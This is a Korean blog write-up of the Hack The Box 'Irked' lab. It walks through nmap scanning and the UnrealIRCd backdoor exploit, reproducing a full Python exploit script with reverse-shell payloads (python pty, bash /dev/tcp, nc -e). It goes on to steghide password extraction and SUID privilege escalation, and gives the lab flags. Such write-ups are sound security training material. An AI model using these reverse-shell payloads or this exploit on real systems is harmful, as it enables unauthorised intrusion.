-
[HTB] Irked WriteupWargame/Hack The Box 2022. 2. 7. 22:44
nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.1.108
80포트에는 이미지 파일만이 존재했다.
다른 취약점이 있나 확인해보았다.
nmap --script vuln 10.129.1.108 -p 22,80,111,6697,8067,50193,65534 -o nmapVulnScanResult.txt
8067 포트의 unrealircd backdoor 취약점을 통해 공략해보기로 했다. 관련해서 구글링을 하다가 아래 레퍼런스를 발견했다.
https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor
GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor script for a vulnerable version of UnrealIRCd
My backdoor script for a vulnerable version of UnrealIRCd - GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor script for a vulnerable version of UnrealIRCd
github.com
#!/usr/bin/python3 import argparse import socket import base64 # Sets the target ip and port from argparse parser = argparse.ArgumentParser() parser.add_argument('ip', help='target ip') parser.add_argument('port', help='target port', type=int) parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash']) args = parser.parse_args() # Sets the local ip and port (address and port to listen on) local_ip = '10.10.14.114' # CHANGE THIS local_port = '1234' # CHANGE THIS # The different types of payloads that are supported python_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\'{local_ip}\';EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');QRRCCltJB.close();" ' bash_payload = f'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1' netcat_payload = f'nc -e /bin/bash {local_ip} {local_port}' # our socket to interact with and send payload try: s = socket.create_connection((args.ip, args.port)) except socket.error as error: print('connection to target failed...') print(error) # craft out payload and then it gets base64 encoded def gen_payload(payload_type): base = base64.b64encode(payload_type.encode()) return f'echo {base.decode()} |base64 -d|/bin/bash' # all the different payload options to be sent if args.payload == 'python': try: s.sendall((f'AB; {gen_payload(python_payload)} \n').encode()) except: print('connection made, but failed to send exploit...') if args.payload == 'netcat': try: s.sendall((f'AB; {gen_payload(netcat_payload)} \n').encode()) except: print('connection made, but failed to send exploit...') if args.payload == 'bash': try: s.sendall((f'AB; {gen_payload(bash_payload)} \n').encode()) except: print('connection made, but failed to send exploit...') #check display any response from the server data = s.recv(1024) s.close() if data != '': print('Exploit sent successfully!')
nc -nvlp 1234 python3 exploit.py -payload python 10.129.241.203 8067
쉘 획득 후 서버를 조사하던 중 .bash_history 파일에서 아래와 같은 정보를 얻었다.
얻은 정보를 기반으로 아래와 같은 정보를 얻을 수 있었다.
Super elite steg backup pw UPupDOWNdownLRlrBAbaSSss
steg 라는 언급이 있어서 steganography를 떠올렸고, 80포트의 이미지가 생각나서 숨겨진 데이터를 추출해보았다.
wget http://10.129.1.108/irked.jpg steghide extract -sf irked.jpg UPupDOWNdownLRlrBAbaSSss
그 결과 아래의 데이터를 획득 할 수 있었고 이는 djmardov 계정의 패스워드였다.
Kab6h+m+bbp2J:HG su djmardov
권한 상승을 위해 서버 정보를 조사해보았다.
uname -a
그 후 OS자체 취약점을 활용하여 권한 상승을 시도해보았지만 실패했고,
https://github.com/mzet-/linux-exploit-suggester
GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
Linux privilege escalation auditing tool. Contribute to mzet-/linux-exploit-suggester development by creating an account on GitHub.
github.com
setuid가 설정되어있는 파일을 통해 권한 상승을 시도해보기로했다.
find / -perm -u=s -type f 2>/dev/null
suid 설정되어있는 실행파일 중 /usr/bin/viewuser가 수상하여 실행시켜봤더니 /tmp/listusers 파일을 호출함을 알 수 있었고 아래 과정을 통해 루트권한의 리버스쉘을 획득 할 수 있었다.
FLAG =
[user] 4a66a78b12dc0e661a59d3f5c0267a8e
[root] 8d8e9e8be64654b6dccc3bff4522daf3
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] FreindZone Writeup (0) 2022.02.16 [HTB] Networked Writeup (0) 2022.02.09 [HTB] Sunday Writeup (0) 2022.02.06 [HTB] Bounty Writeup (0) 2022.02.05 [HTB] Devel Writeup (0) 2022.02.03